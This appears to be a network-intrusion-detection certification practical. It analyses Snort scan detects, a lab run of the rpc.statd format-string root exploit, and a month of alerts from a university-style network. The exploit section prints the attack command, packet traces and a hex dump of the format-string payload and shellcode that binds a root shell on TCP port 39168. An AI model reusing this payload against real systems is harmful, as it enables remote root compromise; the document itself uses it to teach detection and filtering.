Several correlations for the port 1524 scans including: http://www.sans.org/y2k/011900.htm and http://www.sans.org/y2k/022100-1700.htm Also many correlations of the forged 2666 source port, to 111 dest. port “half-open” SYN scans such as http://www.sans.org/y2k/052600.htm and http://www.sans.org/y2k/063000.htm . On these two days were reports of port 1524 scans as well, though they seem unrelated. Also, it seems that scans with 2666 as the source port are quite common as well although I could find no information pointing to any common tools or trojans which use this port by default.

Evidence of active targeting: There is some evidence here to suggest the possibility of active targeting, although there is also evidence against. This scan was limited to a single segment of a switched network, thus the question of whether some kind of broadcast type reconnaissance occurred in advance of this attack. Active targeting was clearly evident in the second phase of the attack, where the portmap connections were only sent to hosts which yielded positive responses to the initial scan. However, apart from their proximity, the hosts affected have no commonalties

across the board-- differing OSes, different hardware, different purposes. Moreover, the last scan, on 1524, seemed completely random. Despite the fact that the scanner had knowledge of which systems were running portmap, it scanned 1524 on hosts which were not. Since the 1524 backdoor was commonly associated with portmapper attacks, why would a host be scanned for the 1524 backdoor, if it wasn't running portmap in the first place?

Severity:

Criticality: 1, there are only workstations on this subnet
Lethality: 1, no compromise, and very little reconnaissance yielded, scan for a very outdated back door.
System Countermeasures: 5 modern, patched operating systems.
Network Countermeasures:1 Switched network somehow played a factor in this scan
(1 + 1) - (5 +1) = -4

Defensive Recommendations: Block all traffic to or from port 1524 at the border for all hosts except those running ingres databases (if there are any).
Ideally one would also block all rpc traffic, especially portmap requests, at the border as well, but given the nature of the academic environment of this network, that solution is, for now, unrealistic.

Multiple choice question:

a) automount-statd buffer overflow attempt
b) scan for vulnerable portmappers
c) ingreslock buffer overflow attempt
d) reconnaissance probes

(answer d)

Detect five:

```
[**] IDS198/SYN FIN Scan [**]
08/13-00:07:46.669655 157.193.56.185:111 -> x.x.x.18:111
TCP TTL:12 TOS:0x0 ID:39426
**SF**** Seq: 0x17A465F2   Ack: 0x7F9364A0   Win: 0x404
00 02 00 00 00 00                          ......

[**] IDS198/SYN FIN Scan [**]
08/13-00:07:47.110099 157.193.56.185:111 -> x.x.x.40:111
TCP TTL:12 TOS:0x0 ID:39426
**SF**** Seq: 0x17A465F2   Ack: 0x7F9364A0   Win: 0x404
FF FF 00 00 00 00                          ......

[**] IDS198/SYN FIN Scan [**]
08/13-00:07:47.469469 157.193.56.185:111 -> x.x.x.58:111
TCP TTL:12 TOS:0x0 ID:39426
**SF**** Seq: 0x458B3C49   Ack: 0x74A69969   Win: 0x404
08 00 00 00 00 00                          ......
```

Source: This trace was detected on our local network. We maintain a Class B (/16) netblock, of which anywhere from eight to fifteen /24 subnets are in use on our switched LAN at any given time.

Detect generated by: Snort Version 1.6-beta10.2 using the "vision.conf" ruleset, downloaded from http://dev.whitehats.com/ids/vision.conf .
Snort's output is as follows:
[**]Message[**] (the message indicates which rule triggered the detect)
Month/Day-Year:Timestamp source.ip.address:sourceport -> dest.ip.address:destport
Protocol TimeTo:Live TOS:hex Ipidnumber: hex
TCPFlags* Seq#: hex Ack#:hex Win: hex **
Captured contents of packet in HEX Captured contents in ASCII

*(sort of little-endian so: xxSFRPAU instead of the usual xxUAPRSF)
**(the third line of output is protocol dependent, TCP in this case)

Probability of spoofed source address: There is a limited possibility that the source address of this trace is false. First, common scanning tools, such as nmap, have a facility for sending "decoy" packets with forged source IPs in the midst of a scan, to try to hide the true source of the scan. Second, there is the possibility that the attacker has set up a listener (packet sniffer) on the same collision domain or segment as the network being scanned, and thus can capture the responses even though they are addressed to another system. In either case however, the likelihood is minimal. In the former case, we would expect to see several hosts scanning simultaneously, one of which would be the true source, and the latter case is a complex operation, it would seem imprudent to go to that kind of effort to launch such a noisy scan as this.

Description of Attack: This is commonly known as a SYN/FIN scan. It is generally used to scan networks for active hosts and/or active ports. By setting both the SYN and FIN TCP flags high, this type of scan often circumvents firewalls with poorly written rules. This type of attack also has uses in operating system identification. Based on their TCP/IP implementations different OSes, react differently to different types of out of spec. packets such as this one.

Attack Mechanism: This attack sends a forged TCPpacket to every host within a specified range of IP address. While it is quite impossible for a legitimate application to generate a TCP packet with both the SYN and FIN flags set, this out of spec. setting has several uses. Firstly, it can penetrate firewalls and filtering routers with poorly written or ordered rulesets. Filtering devices must be configured to allow FIN packets through. However, on many devices, if the ruleset to block out of spec. packets (if there is one at all), or the ruleset to block lone SYNs (if there is one) has higher precedence than the ruleset to allow FIN packets, then this scan will pass through the filtering device. Secondly, it can be used to identify the operating system of the victims. Depending on the OS, a different response can be expected from these packets. For example, a linux system's response to a SYN/FIN packet to an active TCP port, will be a TCP packet with the SYN/FIN/ACK bits set! Lastly this can be used to probe for active ports on a system. The trace above shows packets sent to TCP

port 111, the attacker can expect different behavior from the victim depending on whether port 111 is active or not, especially if the victim's OS is known. A linux system not running portmap, in this case should return a tcp packet with RST and ACK set. By running this type of scan across a network, an attacker can generate a fairly accurate picture of which hosts are up, running a server (probably portmap) on port 111, and what type of OS is running. This can be a valuable first step in an organized attack.

Correlations:
There are numerous correlations for syn/fin scanning, for example:
Laurie @.edu's post on http://www.sans.org/y2k/041900.htm (including dst port 111) and LinkarAB's trace on http://www.sans.org/y2k/050400-0930.htm (including src and dst port 111 and many other src/dst port combinations)

Evidence of active targeting: None. This was a network wide sweep. Generally, these types of scans are used to gain information which will help subsequent attacks use active targeting.

Severity:
Criticality: 3, even mix of workstations and some non-critical servers
Lethality: 1, no active attack, but some reconnaissance yielded.
System Countermeasures: 2 modern operating systems, most current patches
Network Countermeasures: 0, none which affect this attack.
(3 + 1) - (2 + 0) = 2

Defensive Recommendations: Implement a filter on the border capable of blocking out of spec. packets. Well written filters can be sufficiently broad to catch all out of spec TCP flags, while still allowing valid traffic through. Double-, and triple-check that the out of spec filters have higher precedence than the valid packet rules, otherwise a packet which might appear valid to a filter of higher precedence my pass before being checked against the out of spec filters. (If the firewalling policy is "deny all except that which is allowed" this should be done as a matter of course.)

Multiple choice question:
a) portmap buffer overflow
b) portmap dump() query
c) SYN/FIN scan
d) land attack
(answer: c)

Assignment 2: Evaluate an Attack

Remote Buffer Overflow Root Exploit

This is the rpc.statd exploit posted to bugtraq on August 4, 2000, at http://archives.neohapsis.com/archives/bugtraq/2000-08/0013.html. This posting includes some analysis of the vulnerability itself.

This is similar to the code used in Detect One from Assignment 1 above.

This exploit addresses the vulnerability in rpc.statd as stated in Red Hat's security advisory of July 17, 2000, and updated on July 21, 2000 at
http://www.redhat.com/support/errata/RHSA-2000-043-03.html

This program exploits the statd rpc daemon, which runs the "Network Status Monitor" service, used primarily by the NFS file locking service, rpc.lockd, to maintain and monitor file locks, especially when the NFS server reboots. In the bugtraq posting listed above, the author of the program explains that "Due to a format string vulnerability in a call to syslog() within its logging module, rpc.statd can be exploited remotely." More importantly, he describes how this vulnerability is unique, and that this is a new type of buffer overflow required to exploit it:

> This is not a traditional buffer overflow vulnerability. The data are kept within the bounds of the buffer by means of a call to vsnprintf(). The saved return address can be overwritten indirectly without a contiguous payload. syslog() is given, for the most part, a user-supplied format string with no process-supplied arguments. Our format string will, if carefully constructed, cause the process to cull non-arbitrary addresses from the top of the stack for sequential writes using controlled values. Exploitation requires an executable stack on the target host -- almost invariably the case.

Lastly, it is important to realize that this new rpc.statd attack is different from what had been the previous method of attacking the rpc.statd service. In http://www.cert.org/advisories/CA-99-05-statd-automountd.html CERT describes the previous method of exploiting rpc.statd. This method is also listed as CVE-1999-0493. This older method actually involved jointly exploiting different weaknesses in both rpc.statd and automountd. The final root vulnerability was through automountd, not rpc.statd itself.

From CERT:

> The vulnerability in rpc.statd may allow a remote intruder to call arbitrary rpc services with the privileges of the rpc.statd process, typically root. The vulnerability in automountd may allow a local intruder to execute arbitrary commands with the privileges of the automountd service.
> By exploiting these two vulnerabilities simultaneously, a remote intruder is able to "bounce" rpc calls from the rpc.statd service to the automountd service on the same targeted machine. Although on many systems the automountd service does not normally accept traffic from the network, this combination of vulnerabilities allows a remote intruder to execute arbitrary commands with the administrative privileges of the automountd service, typically root.

Thus, this new method not only differs from previous attacks on rpc.statd in it's method of overflowing the buffer, but also in that it is a direct buffer overflow of statd itself, NOT a "bounce" to automountd as described above.

The following analysis describes the program, as downloaded from the bugtraq post with no modifications.

The program, when run from the command line takes at least two arguments. The first argument is a memory address for the buffer to overflow and the second is the hostname or IP address of the target. The buffer address is in fact the crux of the exploit, and also what makes it more difficult to run, as well as more unusual that traditional buffer overflows. The code, whether successful or not will crash the statd program, thus, only one attempt per host is possible. For this reason then, the buffer address must be calculated exactly. The author of the code offers suggestions on how to calculate the correct address for a given system type. Fortunately, the author also provides addresses pre-coded for three different releases of Red Hat Linux. So for Red Hat systems, no calculations are necessary.

There are other optional parameters when calling the program, such as flags to skip the initial portmap query and attempt to exploit statd directly by specifying the port, or specifying a different port to query portmap on. There are also more complex options such as buffer length, and offset, as well as a timeout before connecting to the listening shell. These were all left at their default values.

In it's unmodified state, once gaining root access, the program executes the following commands: cd /; ls -alF; id; it then waits for another, user typed command, or ctrl-c to quit. These commands are not an option on the command line, to automatically execute commands, they must be hard coded in to the program, and then compiled in.

It runs in the following sequence. First it sends a UDP query to the portmapper on port 111, requesting the port for the statd service. When portmap responds with the port for statd, the program then sends a large UDP packet, containing the buffer overflow code the statd port. The buffer overflow code also binds to TCP port 39168. After a specified timeout (default 5 seconds) the program initiates a TCP connection to the victim's , now active, TCP port 39168. Once the TCP connection is established, the attacker then executes the commands which have been hard coded and compiled. Upon receiving a ctrl-c the program closes the connection with a FIN packet.

Following are two network traces, the first, an unsuccessful attempt against a system with the recommended patches installed, and the second is a successful root exploit of an un-patched system. Both systems are running Red Hat version 6.2, Linux kernel version 2.2.14-5. host.secure has nfs-utils-0.1.9.1-1 installed. host.insecure has the vulnerable nfs-utils-0.1.6-2 installed. Both systems were attacked with the same command:

prompt$ ./statdx -d 0 hostname

(statdx is the name of the program, -d 0 is the option to use the pre-coded memory address for RedHat 6.2)

(annotations in bold)

Trace 1- Unsuccessful:

03:49:48.386940 test.attacker.1041 > host.secure.sunrpc: udp 56 **UDP portmap status port request**

03:49:48.387277 host.secure.sunrpc > test.attacker.1041: udp 28 **portmap returns port 956**
03:49:48.388586 test.attacker.1041 > host.secure.956: udp **1076** **1076 byte packet containing buffer overflow**
03:49:48.390619 host.secure.956 > test.attacker.1041: udp 32 **host.secure responds (indicating that statd has not crashed) The program reports that the exploit has failed.**

Trace 2- Successful:

03:58:46.580728 test.attacker.1041 > host.insecure.sunrpc: udp 56 **UDP portmap status port request**
03:58:46.580994 host.insecure.sunrpc > test.attacker.1041: udp 28 **portmap returns port 941**
03:58:46.582014 test.attacker.1041 > host.insecure.941: udp **1076** **1076 byte packet containing buffer overflow**
03:58:48.590023 test.attacker.1041 > host.insecure.941: udp **1076** **(repeated, UDP is unreliable)**
***03:58:50.599887 test.attacker.1041 > host.insecure.941: udp 1076 packets are** **(the relevant contents of the UDP decoded below)**

7 seconds elapse (timeout coded in to program)

03:58:57.619708 test.attacker.1134 > host.insecure.**39168:** S 4290257985:4290257985(0) win 32120 <mss 1460,sackOK,timestamp 168769800 0,nop,wscale 0> (DF) **TCP connection initiated to port 39168**:

03:58:57.619754 host.insecure.39168 > test.attacker.1134: S 4287190607:4287190607(0) ack 4290257986 win 32120 <mss 1460,sackOK,timestamp 16348 168769800,nop,wscale 0> (DF) **host.insecure responds with SYN/ACK indicating that port 39168 is active and open**
03:58:57.620015 test.attacker.1134 > host.insecure.39168: . 1:1(0) ack 1 win 32120 <nop,nop,timestamp 168769800 16348> (DF) **Handshake complete**
**** 03:58:57.620394 test.attacker.1134 > host.insecure.39168: P 1:20(19) ack 1 win 32120 <nop,nop,timestamp 168769800 16348> (DF)** **This packet fully decoded below (contents of this packet are the compiled commands)**
03:58:57.620441 host.insecure.39168 > test.attacker.1134: . 1:1(0) ack 20 win 32120 <nop,nop,timestamp 16348 168769800> (DF) **host.insecure acknowledges commands**
03:58:57.638044 host.insecure.39168 > test.attacker.1134: P 1:1025(1024) ack 20 win 32120 <nop,nop,timestamp 16350 168769800> (DF) **host.insecure out put from the ls and id commands**
03:58:57.638329 host.insecure.39168 > test.attacker.1134: P 1025:1755(730) ack 20 win 32120 <nop,nop,timestamp 16350 168769800> (DF) **host.insecure out put from the ls and id commands (cont.)**
03:58:57.638483 test.attacker.1134 > host.insecure.39168: . 20:20(0) ack 1025 win 31856 <nop,nop,timestamp 168769801 16350> (DF) **test.attacker acknowledges (cont.)**
03:58:57.639244 test.attacker.1134 > host.insecure.39168: . 20:20(0) ack 1755 win 31856 <nop,nop,timestamp 168769802 16350> (DF) **test.attacker acknowledges (cont.)**
03:58:57.641521 host.insecure.39168 > test.attacker.1134: P 1755:1779(24) ack 20 win 32120 <nop,nop,timestamp 16350 168769802> (DF) **host.insecure out put from the ls and id commands (cont.)**
03:58:57.649228 test.attacker.1134 > host.insecure.39168: . 20:20(0) ack 1779 win 31856 <nop,nop,timestamp 168769803 16350> (DF) **test.attacker acknowledges (cont.)**
03:59:22.718757 test.attacker.1134 > host.insecure.39168: P 20:21(1) ack 1779 win 31856 <nop,nop,timestamp 168772310 16350> (DF) **(carriage return before ctrl-c)**
03:59:22.734548 host.insecure.39168 > test.attacker.1134: . 1779:1779(0) ack 21 win 32120 <nop,nop,timestamp 18860 168772310> (DF) **(acknowledged)**
03:59:26.428326 test.attacker.1134 > host.insecure.39168: F 21:21(0) ack 1779 win 31856 <nop,nop,timestamp 168772681 18860> (DF) **ctrl-c, attacker initiates session close**
03:59:26.428368 host.insecure.39168 > test.attacker.1134: . 1779:1779(0) ack 22 win 32120 <nop,nop,timestamp 19229 168772681> (DF) **host.insecure acknowledges close**
03:59:26.428675 host.insecure.39168 > test.attacker.1134: F 1779:1779(0) ack 22 win 32120 <nop,nop,timestamp 19229 168772681> (DF) **host.insecure initiates session close**
03:59:26.428879 test.attacker.1134 > host.insecure.39168: . 22:22(0) ack 1780 win 31856 <nop,nop,timestamp 168772681 19229> (DF) **attacker acknowledges close**

The highlighted packets above are shown decoded here using snort -d, output is of the form:
Header decode
payload data in Hex **payload data in ascii**

UDP packet with buffer overflow:

```
*08/16-03:58:50.599887 test.attacker:1041 -> host.insecure:941
UDP TTL:64 TOS:0x0 ID:53484
Len: 1084
55 E6 10 07 00 00 00 00 00 00 00 02 00 01 86 B8  U...............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20  ................
39 9A 49 B5 00 00 00 09 6C 6F 63 61 6C 68 6F 73  9.I.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF  ................
```

```
18 F7 FF BF 19 F7 FF BF 19 F7 FF BF 1A F7 FF BF  ................
1A F7 FF BF 1B F7 FF BF 1B F7 FF BF 25 38 78 25  ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38  8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 32 33 36 78 25 6E 25 31  x%8x%8x%236x%n%1
33 37 78 25 6E 25 31 30 78 25 6E 25 31 39 32 78  37x%n%10x%n%192x
25 6E 90 90 90 90 90 90 90 90 90 90 90 90 90 90  %n..............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
```

(padding cut for brevity)

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0  ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3  .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E  .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66  ..A...I..A.....f
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0  .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0  f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7  ?.....?.../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56  F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F  ..N.............
FF FF FF 00                                      ....
```

"/bin/sh" opening a shell on tcp port 39168

TCP packet executes commands on victim:

```
**08/16-03:58:57.620394 test.attacker:1134 -> host.insecure:39168
TCP TTL:64 TOS:0x0 ID:53490  DF
*****PA* Seq: 0xFFB82442   Ack: 0xFF895650   Win: 0x7D78
TCP Options => NOP NOP TS: 168769800 16348
63 64 20 2F 3B 20 6C 73 20 2D 61 6C 46 3B 20 69  cd /; ls -alF; i
64 3B 0A                                         d;.
```

"cd /'ls -alF;id" these are the commands hardcoded in to the program

Important things to note from this exploit: Despite it's ease of use in this situation, it is still an exploit requiring a good deal of precision to use. The converse of this, however, is that once it is made effective on a specific system type, it is affective for **all** systems of that type.

It is fortunate however, that much of the detail of this exploit is hard-coded and compiled in, and cannot be modified without recompiling, namely, the commands to be executed on the victim's system, and most importantly, from an IDS perspective, the source port of the post overflow TCP connection. **The source port is hard-coded to a default of 39168**, we can use this to add the line (src port 39168) to our Shadow TCP filters. Although the 39168 tcp connection occurs after the buffer overflow, this filter will help to quickly identify compromised systems. Moreover, it will notify when later scans occur trying to find already compromised systems, such as the port 1524 scans we still see quite frequently.

Assignment 3: "Analyze This" scenario:

My.net was monitored for one month beginning 23 May, 2000, and ending 23 June 2000.

Summary:

Initially, the assessment of this network is complicated by the proliferation of many user based applications with poorly considered or constrained network activity which often do not adhere to common sets of networking standards. As such these applications are prone to triggering IDS alerts and warnings which are often false positives. Most common among these applications are file sharing applications such as gnutella and Napster, chat and messaging software like ICQ and IRC, and most online games. In addition to the numerous non-RFC compliant applications, there exist many web service proxies, probably squid, which allow users from other networks to surf the web anonymously, as though their source were my.net. Lastly, this network has a high profile, meaning it is the target of frequent and extensive host and port mapping scans. On more than one occasion these scans have yielded sufficient data to execute successful exploit attacks. There are several compromised systems on this network.

Analysis:

The overwhelmingly most common detects on this network are false positives caused by either Napster/gnutella, online gaming or chat/messaging software, and web proxying on port 8080. For example:

```
05/24-01:57:25.752327  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:26.925579  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:27.698640  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:28.106612  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:1213 -> MY.NET.217.86:6346
```

This detect indicates a user at my.net.217.86 sharing files via gnutella. Whether or not this is a security concern is largely a matter of policy. Considerations focus on the content being shared. Of primary concern is copyright violation, but further concern should be focuses on exposure to viruses. Also of high concern is the possibility that although Gnutella is primarily configured to share sound and video files and the like, it is trivial to configure it to pass on internal files and information. All this can be done in a way which makes it difficult to know the content of the data being shared.

Gnutella activity accounted for 1080 alerts on this day alone. If the policy is to allow this filesharing, then this rule should be removed in a final implementation, otherwise, this user should be notified.

We also see a great deal of ICQ traffic generating false positives. The Sun RPC high port access warnings below, are in truth the responses from stimulus generated on my.net.153.106. Since ICQ clients frequently launch from high ephemeral ports, the response from the server will trip the high port rule for the duration of the session. Quite frustrating. One solution would be to modify the high port access rule to pass when the source port is 4000, although this would allow an attacker to circumvent the IDS by launching a real attack against a high port by forging the source port to be 4000. Better yet would be to determine which hosts on the system are servers (and

should not be running client software such as ICQ) and target the ruleset to those hosts by using variables in the snort rulesets.

```
06/12-00:27:11.605621 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:29:11.517442 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:29:19.172565 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:30:11.490914 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:30:26.227929 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:31:11.416411 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:33:11.379235 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:34:11.303506 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:35:11.312292 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:36:11.280699 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:38:11.178631 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:39:11.120908 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:39:38.628984 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:40:19.595365 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:42:11.072608 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:43:10.985728 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:44:10.963683 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/12-00:45:10.934450 [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
```

Of greater concern to this network than user applications however, is the exceedingly high number of network scans. Over a one week period, from 5/24 through 6/1 scanning rules were tripped by 145 external hosts. On 5/28 alone there were portscans from over 30 external hosts! Below is a sampling of some of the external hosts that scanned my.net on 5/28. (Note: Several of these hosts launched more than one scan, though only one is posted here.)

```
05/28-00:33:20.640650 [**] spp_portscan: PORTSCAN DETECTED from 216.204.66.115 (THRESHOLD 7 connections
    in 2 seconds) [**]
05/28-01:20:29.137757 [**] spp_portscan: PORTSCAN DETECTED from 205.188.197.4 (THRESHOLD 7 connections in
    2 seconds) [**]
05/28-01:46:55.979155 [**] spp_portscan: PORTSCAN DETECTED from 213.188.8.45 (THRESHOLD 7 connections in 2
    seconds) [**]
05/28-05:01:41.110783 [**] spp_portscan: PORTSCAN DETECTED from 38.37.73.72 (STEALTH) [**]
05/28-06:01:30.174424 [**] spp_portscan: PORTSCAN DETECTED from 159.138.20.10 (THRESHOLD 7 connections in
    2 seconds) [**]
05/28-06:31:13.877149 [**] spp_portscan: PORTSCAN DETECTED from 195.11.50.204 (STEALTH) [**]
05/28-07:31:06.567846 [**] spp_portscan: PORTSCAN DETECTED from 194.70.126.10 (STEALTH) [**]
05/28-09:31:10.061190 [**] spp_portscan: PORTSCAN DETECTED from 62.56.42.68 (STEALTH) [**]
05/28-09:46:12.007155 [**] spp_portscan: PORTSCAN DETECTED from 207.217.77.82 (THRESHOLD 7 connections in
    2 seconds) [**]
05/28-10:16:22.854708 [**] spp_portscan: PORTSCAN DETECTED from 194.217.242.34 (STEALTH) [**]
05/28-10:31:15.557890 [**] spp_portscan: PORTSCAN DETECTED from 155.230.152.165 (STEALTH) [**]
05/28-11:46:04.072134 [**] spp_portscan: PORTSCAN DETECTED from 194.247.86.51 (STEALTH) [**]
05/28-13:16:14.739833 [**] spp_portscan: PORTSCAN DETECTED from 212.225.20.64 (STEALTH) [**]
05/28-13:32:02.028607 [**] spp_portscan: PORTSCAN DETECTED from 158.152.185.45 (STEALTH) [**]
05/28-14:16:08.049933 [**] spp_portscan: PORTSCAN DETECTED from 209.206.24.223 (STEALTH) [**]
05/28-15:01:57.006502 [**] spp_portscan: PORTSCAN DETECTED from 194.154.157.143 (THRESHOLD 7 connections
    in 2 seconds) [**]
05/28-15:03:46.907211 [**] spp_portscan: PORTSCAN DETECTED from 194.247.72.1 (STEALTH) [**]
05/28-15:16:23.029349 [**] spp_portscan: PORTSCAN DETECTED from 24.0.92.211 (STEALTH) [**]
05/28-16:03:54.721557 [**] spp_portscan: PORTSCAN DETECTED from 158.152.253.118 (STEALTH) [**]
```

This is not counting the numerous nmap and other types of reconnaissance probes which occurred throughout 5/28. What we see of particular notice on this day, however, are portscans tripped by at least 6 internal hosts. Of particular mention is the host my.net.253.12.

```
05/28-14:52:33.396727  [**] spp_portscan: portscan status from MY.NET.253.12: 61 connections across 1 hosts:
    TCP(61), UDP(0) [**]
05/28-14:52:36.255378  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts:
    TCP(60), UDP(0) [**]
05/28-14:52:38.990043  [**] spp_portscan: portscan status from MY.NET.253.12: 28 connections across 1 hosts:
    TCP(28), UDP(0) [**]
05/28-14:52:40.772051  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts:
    TCP(60), UDP(0) [**]
```

This pattern continued throughout the day, repeating for over 1000 scans. While the possibility exists that there is a software or host misconfiguration involved, causing this level of spurious data, it is more likely that my.net.253.12 is running an automated network scan discovering which tcp ports are open on each host it hits. This is correlated by some of the other detects we see on 5/28 regarding my.net.253.12:

```
05/28-14:32:56.087697  [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.1:7
05/28-14:32:56.087883  [**] NMAP TCP ping! [**] MY.NET.253.12:43756 -> MY.NET.16.1:7
05/28-14:32:56.089067  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.1:1
05/28-14:33:06.465190  [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.2:21
05/28-14:33:06.465323  [**] NMAP TCP ping! [**] MY.NET.253.12:43756 -> MY.NET.16.2:21
05/28-14:33:06.465740  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.2:1
05/28-14:36:19.467825  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:36384
05/28-14:36:21.557873  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:36384
05/28-14:36:27.126701  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:40341
05/28-14:36:29.226192  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:40341
05/28-14:36:33.568525  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:36650
05/28-14:36:35.692943  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.3:36650
05/28-14:39:42.823901  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.4:31963
05/28-14:39:44.642091  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.4:31963
05/28-14:39:48.959280  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.4:39670
05/28-14:39:50.753272  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.4:39670
```

Of particular interest here is that all of these scans are directed at other internal hosts on the my.net network. It is safe to consider that my.net.253.12 might be compromised and is attempting further malicious activity against my.net from the inside, and should be investigated.

Conclusions: Through observation and analysis of the my.net network, the following conclusions are apparent. This network, is fully exposed to the internet, from where many of it's systems receive undue attention. Comparatively few of the systems offer legitimate services to the outside world, instead the majority of traffic from my.net is generated by net-enabled user applications, and malicious or compromised hosts on my.net itself. The primary security risk here is that a malicious agent, once gaining access to an internal host may take a long time to identify, and a longer time to eradicate.

Security Recommendations: Because most of the systems on my.net are user workstations which shouldn't be offering services to the outside world, my.net would greatly benefit from a filtering device at the border. Before installing this device however, two things must be done. First, enumeration of the network servers and the services each one offers. Included in this enumeration should be specification of which services should be offered internally only (filesharing etc.) and which should be offered globally (www, sendmail etc.). Rulesets for the IDS should also be tailored accordingly. As a result if the internal threats mentioned in the conclusions,

it is important that the network services rulesets are careful to only pass the appropriate traffic for the appropriate servers, so that they continue to detect properly when services are offered or queried to systems not enumerated to offer them, or when user applications show up as originating from the servers. Second, policy needs to be set regarding the use and configuration of internet capable user applications. Allowed applications should be configured to use specific ports, and those ports should be passed by the filtering device. As with the servers, the IDS rulesets should reflect this policy as explicitly as possible, not only to minimize false positive data, but to continue to trigger when unauthorized applications are used, or when authorized applications use unauthorized network ports, or originate from an unauthorized system. Once these policies are established and rulesets written, the installation of a filtering device will not only reduce the noise of all the false positives, but will certainly make it easier to identify and eradicate malicious activity on the network.